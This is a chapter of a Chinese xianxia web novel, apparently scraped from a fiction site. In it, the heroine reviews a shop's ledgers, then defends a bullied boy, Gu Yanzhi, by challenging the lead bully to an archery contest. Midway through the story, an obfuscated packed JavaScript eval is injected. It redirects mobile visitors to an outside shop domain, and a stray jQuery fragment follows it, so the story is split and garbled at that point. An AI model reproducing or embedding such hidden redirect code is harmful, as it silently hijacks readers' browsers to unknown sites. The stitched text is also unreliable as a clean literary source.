文趣网 > 都市小说 > 抛弃美惨强男主后 > 8. 衍之
    她示意随侍将云阙城的令牌递过去,掌柜接来扫了一眼,认出她是东家,面上也没什么讨好奉承的意思。

    “库房钥匙给我一份。”她说,“再拿些笔墨纸砚来,我看看账本。”

    掌柜慢吞吞动作,摸出这些东西,一并推到她面前。

    乔桉接过钥匙,在指尖掂了掂。她找了张干净的桌子坐下,铺开账册,研墨,提笔,开始一行一行地看。

    账面上的数字不算好看,但也不至于难看,中规中矩,平平淡淡,像一潭死水。经营者显然没什么野心,守着祖业混日子罢了。

    但底子还在,客流量意外的还行,位置也还算不错。

    乔桉边看边在纸上写写画画,列出几个大致的调整方向。

    她甚至没想太多,店铺现有的货物品类可以优化,客群可以细分,灵石与金银的双轨体系里藏着不少套利的空隙……都是些她闭着眼睛都能算出来的东西。

    工作的时间过得飞快,日头不知不觉从东窗挪到了西窗,一个侍女小步进来催她,说时辰不早了,该回去了。

    乔桉抬头看了眼窗外,天边铺着薄薄的橘红色。

    她没勉强,把摊开的账册归拢整齐,笔洗了搁回架上,纸稿折好收进袖中,起身离开了琳琅阁。

    软轿晃晃悠悠地沿着来路往回走,穿过山门时天色已经暗了大半。悬剑山庄的屋檐被暮云压得很低,灯笼还没全点起来,青石板路上一段明一段暗。

    乔桉的院子叫栖云居,在山庄西边,靠近后山,路径窄且僻静,两旁种着些杂树,天一暗下来便显得幽深。

    软轿在巷口停下,再往里路窄了,轿子过不去。乔桉下了轿,让侍女们在后头跟着,自己沿着青石小道往里走。

    她走过回廊转角,正要拐进听竹居的院门时,忽然听见了动静。

    声音从院墙另一侧传来,隔着一排半人高的冬青,隐隐约约的,但在这安静的黄昏里显得格外清晰。

    是小孩子的叫嚷声,乱糟糟地混在一起,你一句我一句地叠着,中间夹杂着一些不太客气的字眼。

    乔桉脚步顿住了,绕过那丛冬青,看见院墙外头那片空地上围着七八个孩子。

    中间被围着的孩子,身影瘦小,缩着肩膀,看不清脸,只看见一双攥紧了的手垂在身侧,指节微微发白。

    "野种。"

    最前头那个孩子往地上啐了一口,声音又脆又响,带着明晃晃的恶意。

    "野种!野种!私生子——私生子——私生子!"

    另一个接上,语气刻薄,不知道从哪里听来的,鹦鹉学舌般重复着。

    "灵溪妹妹一看到他,就不和我们玩了,”一个扎着双髻的男童气鼓鼓地跺脚,"凭什么呀,他哪儿配!"

    "就是!顾仙尊都不把他当顾家人看,他怎么还赖在这不走?"

    "哎——"一个稍大些的孩子忽然凑过来,脑袋往中间一探,压着嗓门,神秘兮兮地朝其他人挤眼睛,"你们知道吗?他身上有块玉佩!"

    "玉佩?"

    "真的假的?"

    "我亲眼见过的!"

    "他哪来的?"

    "谁知道呢——肯定是偷的!"

    几个孩子一下子来了精神,七嘴八舌地嚷嚷起来。

    "看看呗!"

    "他肯定不敢拿出来!"

    "偷来的肯定不敢给人看呀——"

    顾衍之往后退了一步,后背抵上了墙根,退无可退。他的脸埋在阴影里,看不清表情。

    领头的那个伸手就去拽他的衣襟:"拿出来我看看!"

    顾衍之侧身一躲,没让他碰着。领头的一把抓了个空,脸顿时涨红了,拳头攥得咯吱响,在半空中晃来晃去:"你给不给!不给我揍你了啊!"

    "住手!"

    陆逾明的拳头还举在半空,转过头来看见她,先是一愣,随即撇了撇嘴。

    山庄里的大人都说过,这是顾仙尊娶回来的妻子,貌美如花,却是个没什么根基的凡人。话里话外有种若有若无的轻慢,这些孩子耳濡目染,也学了七八分神韵。

    人群散开一条缝。

    乔桉这才看清,被围在中间的那个孩子,是前些天夜里在厨房见过的小言。

    比那晚更瘦了些,两颊几乎要凹进去,衣裳空荡荡地挂在肩骨上。

    他低着头,紧紧攥着衣领下什么物件,脚边七零八落地散着一堆柴枝。应该是刚从外面背回来,还没来得及放下便被人堵在了这里。

    乔桉的目光从柴上移开,又看了看陆逾明和他身后那帮孩子。

    一个个衣着齐整,衣料是细绸或软缎,有几个腰间还挂了小小的玉牌,刻着各家的族徽,显然是家中悉心打扮过才送出来的。

    他们嗓门敞亮,腰板挺直,面上满是理直气壮的倨傲。仿佛面前这个缩成一团的瘦小身影,天生就该被他们围着数落。

    乔桉心里清楚这些孩子为何会在这里。

    悬剑山庄剑尊顾渊渟,一剑可破万法,苍曜洲无人不知、无人不晓。

    世家们便削尖了脑袋把孩子往山庄里塞,哪怕顾渊渟事务繁忙,亲授的课业一年不过两三回。

    但只要孩子在山庄里待过一日,回家便能挺着胸脯说一句“我在顾仙尊门下学过”,便足够族中老少与有荣焉。

    所以这群半大孩子聚在这里,衣冠楚楚,像是受着什么天大的栽培。

    可再如何光鲜,也不该这般欺负一个小小仆役。

    乔桉幼时没人替她出过头,她很早便学会了不指望任何人。被推搡了不哭,被冷落了不问,自己拍拍膝盖站起来,咬咬牙也就过去了。

    正因如此,她可太清楚这种被一群人围着嘲笑的滋味了。那时候她恨不得自己整个人当场消失,变成空气,变成灰尘,怎么都行。

    她现在好歹是顾渊渟名义上的妻子,或许还管不了太多大事,但眼前这几个无法无天的小孩子她管得了。

    她记忆不错,扫过这几个孩子腰间悬着的玉牌,一个个指出他们的来历,最后道:“你们几个的教习是谁,我自会去问清楚,也会找人知会你们各自的家长。”

    话音落下,几个孩子脸上的嚣张唰地褪下去几分,相互看了一眼,有些发虚了。

    唯独陆逾明不怎么害怕:“你不要狐假虎威。顾仙尊不喜欢你,成婚那日他连人都没回来。”

    旁边另一个小男孩被他这一句壮了胆,紧跟着接腔:“对!你连灵溪妹妹都不如!灵溪妹妹还能跟顾仙尊说上话呢!”

    陆逾明的目光来回在乔桉和顾衍之身上转了一转,露出一个恍然大悟般的神情,带着刻薄:“哦——我知道了,你是替你便宜儿子出头来了!可是顾仙尊都不问他,也不让他修行,你多余管他!”

    顾衍之听到这句话,原本攥着衣领的手指颤了一下。他没有抬头,瘦削的肩膀像被什么东西压了下去似的,又矮一寸。

    就在这时,系统在她脑海里疑惑发问:“什么儿子?乔乔,你哪里来的儿子?我怎么不知道?”

    “......是顾衍之。”

    “啊!这个小可怜就是天道之子啊?!”

    “.......”

    乔桉没有接话,目光落在陆逾明脸上。

    叫家长这法子显然已经不管用了,想来也是,这些孩子能在悬剑山庄里横行,家中长辈多半早就默许了他们的骄纵。

    她想了想,决定换个方法。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792369|210436||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “要不要比一场?”

    陆逾明愣了一下:“什么?”

    “敢不敢与我比一场?”

    陆逾明被她这句不咸不淡的话一激,少年人的傲气立刻撑了起来:“有什么不敢的!”

    “不过我到底是凡人,你是修士,”乔桉慢慢道,“这样比,未免不太公平。”

    “喂,是你要比的。”陆逾明不服。

    “所以,规则我来定。”

    陆逾明脸上露出一点迟疑。他回头看了一眼身后的同伴们,几个人都在看着他,目光里隐隐带着几分怂恿。

    他不想在小伙伴面前露怯,更何况对方只是个凡人女子,他一个堂堂练气期的修士,有什么好怕的?

    “好。”他天不怕地不怕的点了头。

    “我们比试弓箭,”乔桉说,“谁能射得更远、更准,谁就赢。三局两胜。”

    她顿了顿,目光淡淡扫过陆逾明,“你输了,就向他道歉。”

    陆逾明没当一回事,挺起胸膛问:“那要是我赢了呢?”

    “顾家送来的聘礼中有一幅顾渊渟亲手画的山水,”乔桉说,“你若赢了,便是你的。”

    陆逾明的眼睛猛地亮了起来。顾仙尊的亲笔,是他父亲都未必能求到的东西,若真能拿回去,族中上下不知要如何高看他。

    生怕乔桉反悔似的,立刻应下:“好!一言为定!”

    乔桉微微侧过头,对身后一名侍女说:“回去一趟,把我那把紫檀弓取来。”

    侍女应声而去。乔桉站在原地,安静地等着。

    练气期的修士,身体比凡人强健一些是有的,可这几个孩子瞧着才不过十来岁,骨头都还没长结实,臂力大约与地球上二十来岁的成年男子相当,甚至还要逊上一筹。

    她从前在射箭馆里泡过两年。教练说她的动作稳,准头好,几乎快够到专业运动员的边了。

    后来公司团建,几次比赛她都拿了头名。要赢眼前的陆逾明,她有十足的把握。

    侍女很快回来了,双手捧着一把紫檀弓。

    这把弓乔桉用过几回,刚看见的时候就见猎心喜。它的用料与做工俱佳,拉力适中,握感扎实,是一柄趁手的好弓。

    “你先来。”她侧过身,她侧过身,将面前那片空地让给陆逾明。

    陆逾明也不客气,搭箭、拉弦、瞄准,一气呵成。

    羽箭破空而出,“笃”的一声钉在十余丈外一棵老树的枝干上,正中一片巴掌大的叶子,叶柄被箭杆贯穿,牢牢钉在树皮上。

    他回头看了乔桉一眼,嘴角压不住的得意。

    乔桉没有说什么,抽箭,搭弦,沉肘,手指松开的那一瞬,箭矢干净利落的飞出去,几乎沿着同样的轨迹,落在同一枝干上,挨着陆逾明那支箭,钉住了另一片叶子。

    平局。

    第二局,陆逾明又射出一箭,比方才远了一寸。

    乔桉跟着拉开弓,这一次她多用了两分力,松弦时一声弦鸣清亮绵长。

    箭落处,与陆逾明的箭尖同样齐平。

    仍是平局。

    顾衍之站在一旁,目光一瞬不瞬落在乔桉身上。

    暮光从她身后漫过来,把鹅黄的袍缘镀上一层薄薄的暖色,衬得她整个人像一盏被点在暮色里的灯。

    他忽然觉得喉间发紧。从来没有人这样为他做过。连他名义上的父亲,那位被万人敬仰的顾仙尊,也从未在他被人欺负时多看一眼。

    一种陌生的情绪忽然从胸口涌上来,叫他有些手足无措。

    脑海中的声音懒洋洋浮起,摆着一幅什么事都要插一嘴的样子:“啧,你就这般想躲在一个女人身后?她真是你娘?怎么瞧着比你大不了多少?”